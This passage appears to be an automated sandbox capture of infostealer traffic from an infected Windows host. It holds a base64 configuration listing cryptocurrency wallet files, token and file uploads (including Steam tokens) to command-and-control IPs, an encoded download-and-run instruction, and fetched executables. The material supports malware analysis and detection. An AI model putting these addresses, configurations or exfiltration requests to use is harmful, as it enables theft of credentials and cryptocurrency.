Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 18, 2024 04:41:41.690175056 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"files------GCAKKECAEGDGCBFIJEGH--
Nov 18, 2024 04:41:41.971338034 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:42.011749983 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="file"------CGCAKKKEGCAKJKFIIEGI--
Nov 18, 2024 04:41:42.784969091 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:42.811717033 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="message"ybncbhylepme------KKKEBKJJDGHCBGCAAKEH--
Nov 18, 2024 04:41:43.092937946 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 18, 2024 04:41:46.496656895 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJECGHJDBFIJJJKEHCBF--
Nov 18, 2024 04:41:47.272857904 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49986	185.215.113.16	80	3776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:41:43.102103949 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 18, 2024 04:41:44.000683069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:41:43 GMT Content-Type: application/octet-stream Content-Length: 1946624 Last-Modified: Mon, 18 Nov 2024 03:28:04 GMT Connection: keep-alive ETag: "673ab444-1db400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 10 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfM@@M#@WkH<LL @.rsrcH@.idata @ +@feznedxr`2@batlnaqlM@.taggant0M"@
Nov 18, 2024 04:41:44.000708103 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:41:44.000718117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:41:44.000730038 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:41:44.000742912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:41:44.000790119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:41:44.000803947 CET	1236	IN	Data Raw: dc 38 47 e9 1e 6c 40 ad d7 80 96 ff 72 48 46 2d be 8c ea 5a ae 0d 24 66 35 28 b2 5b 93 dc 9e 5b c2 22 74 46 35 88 5e aa a1 7c 72 25 6a 19 4e 50 35 e3 09 2c 36 b5 74 0a b0 38 24 99 35 ac 43 65 57 18 24 0d 05 27 08 31 c4 56 e9 fb f1 24 4a e6 04 a8 Data Ascii: 8Gl@rHF-Z$f5([["tF5^\|r%jNP5,6t8$5CeW$'1V$JwJ4K\|DMh&u]!%h\87O\|$6P#^6$*c\|$gdF^vF)Z4D$0@`EME@u^cDv!EV\|$jvxGA
Nov 18, 2024 04:41:44.000816107 CET	636	IN	Data Raw: 66 fd 60 05 65 7f 8b ec da 38 99 5a d9 00 06 eb 35 28 fc eb a5 e4 6c e8 cb 25 cf 02 18 58 14 49 1a 99 7a 5d 3a 07 61 80 9d 3d 92 a8 f1 2f 9a ac 13 54 97 89 6b c0 20 41 60 d0 8e 7c 5c 03 39 7d 5f fa 52 b1 21 c8 53 ed bf 93 b8 84 93 0a 7b 9f 7e 45 Data Ascii: f`e8Z5(l%XIz]:a=/Tk A`\|\9}_R!S{~E5IY2jzz"D2:jo]f~tQOd;4~+/3X9%yX~~'dB6B=e*Y5?[x{)aw)(YEwT>+8:^^.
Nov 18, 2024 04:41:44.000938892 CET	1236	IN	Data Raw: a0 29 78 f3 a4 c0 1b 75 fb ba df 98 46 29 68 eb 0a c0 19 60 0e 28 b2 b8 22 60 60 70 c1 56 65 8d 66 55 bf 32 ac e8 e3 b5 5e ab a8 40 c0 fa b1 2c b6 d1 25 f3 f4 ee b8 a4 c9 c5 6b e3 62 3a f0 0a fa 9e 4a cd e4 b9 70 bc 4e 54 c5 e0 54 ec 23 18 e6 36 Data Ascii: )xuF)h`("``pVefU2^@,%kb:JpNTT#6Y}6qF4r`&xp=^gwn6_)AZ5E&,w--+^yF\yW vT".8zW0i,e@>6$b%]Y
Nov 18, 2024 04:41:44.000979900 CET	1236	IN	Data Raw: 49 81 74 ea e5 00 f8 c3 1d 72 cb b2 36 9c 25 d5 9e fc e8 ef 22 b4 7b 74 36 d7 ac 59 36 75 7d 89 41 f9 31 00 27 99 b9 af ea 4e a8 ab b0 ba 4e 09 85 6b f4 2c 13 ca cf da ff 89 f6 10 7e 7e 0d 38 4e f7 18 7d 47 1c db 9c 15 38 aa 12 a5 7d 67 52 56 4c Data Ascii: Itr6%"{t6Y6u}A1'NNk,~~8N}G8}gRVLNf# +M[Bu;N]M`3+$5a5[9A8aW!zDK/' = gjF)y"`j%l!5~}~m4Q )o`HhFAx
Nov 18, 2024 04:41:44.006036997 CET	1236	IN	Data Raw: 03 4c 1e fa f4 83 65 25 5b 96 61 e3 f5 20 61 c1 fc b7 bd d0 36 a4 9f c2 00 27 a9 2c a5 41 47 21 28 8e 24 c2 d0 e8 37 21 7a a7 79 37 08 a8 b5 5c 6f 7c 56 3a 45 16 56 db fe f4 fa c2 48 06 1a 2a 9d 5d 96 d0 51 e4 ff bc 8a 48 ac 13 f6 3f 57 0d 1b 45 Data Ascii: Le%[a a6',AG!($7!zy7\o\|V:EVH*]QH?WEpy},(YE\W97IM!M ?;T}yEfyaN;\|oa)PxuVed5go<YL0TpJ[((_f2tEoKl>>5\+6B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50106	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:04.841095924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:42:05.751353025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50107	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:07.261253119 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:42:08.175066948 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 30 35 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 30 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 30 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 30 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007055001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007060001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007061001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007062001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007063001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50109	31.41.244.11	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:08.183535099 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 04:42:09.097049952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:08 GMT Content-Type: application/octet-stream Content-Length: 4426240 Last-Modified: Mon, 18 Nov 2024 03:19:43 GMT Connection: keep-alive ETag: "673ab24f-438a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 20 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 ba 00 00 04 00 00 da 93 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 02 ba 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 02 ba 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2 H@PC@ _pesX Pel'@.rsrc `e\|'@.idata pe\|'@ 8e~'@pibhodpk '@sdsqttcjdC@.taggant0 "hC@
Nov 18, 2024 04:42:09.097158909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:09.097174883 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:09.097189903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:09.097218037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0r
Nov 18, 2024 04:42:09.097234964 CET	424	IN	Data Raw: 38 63 e3 d8 45 30 2b d2 b6 47 a8 15 31 9a 75 da 78 f2 f7 d5 21 2b c1 95 9f 89 99 d0 51 dc 78 4e 30 4d c0 38 e9 30 2e dc 7e 11 c6 3f 35 a2 2b b4 f5 ed 57 1d 00 ca 14 01 ea 86 17 6a 81 ea c0 ec 3e 27 76 4b a5 40 93 e6 83 15 fd ea 29 01 c4 de b4 65 Data Ascii: 8cE0+G1ux!+QxN0M80.~?5+Wj>'vK@)eAky&2{s.elD`0e1rggL>pbpo_aD}uc}lY&xkoY>\N9v2LXu5-VR$1.ME
Nov 18, 2024 04:42:09.097265005 CET	1236	IN	Data Raw: c4 72 f5 eb c3 cb f4 bd ff 67 09 82 55 64 b8 3f ec a5 11 4e ed 31 2b ea fd 73 af 2d da d9 d3 53 50 e5 8f 03 c4 e5 11 1c 92 59 26 6c d4 0f de 51 97 de d3 c5 d8 8a 56 c3 6f 0e 36 98 f9 1b 40 9d fd 75 53 5d 71 24 bc 88 73 6d 4c dd 3c c4 80 52 d5 0a Data Ascii: rgUd?N1+s-SPY&lQVo6@uS]q$smL<RAZG.W%j\| m(uKy@h$0=}pA02J582rI_3&v,IeD}z;Q'%5mxvz]aR8
Nov 18, 2024 04:42:09.097281933 CET	1236	IN	Data Raw: 2d 0c 05 55 5d f8 c9 50 90 53 52 01 83 47 00 23 09 e4 f8 81 b8 cd 55 16 4c 20 12 c7 fe 58 8e ff 31 ce d6 39 92 c3 fe 53 fb 0f 18 7c ec a6 a3 65 6a b6 a3 32 b1 b2 59 32 67 c9 20 ff 23 af d0 69 e1 a5 cc 03 63 45 34 de 93 67 8c 80 d5 3d 88 73 9d 93 Data Ascii: -U]PSRG#UL X19S\|ej2Y2g #icE4g=s,MZ.Il,&3R#5v(DKmdLSyDg\`S_[b+V--I)1SnW+#jURS\c#; NMFi,
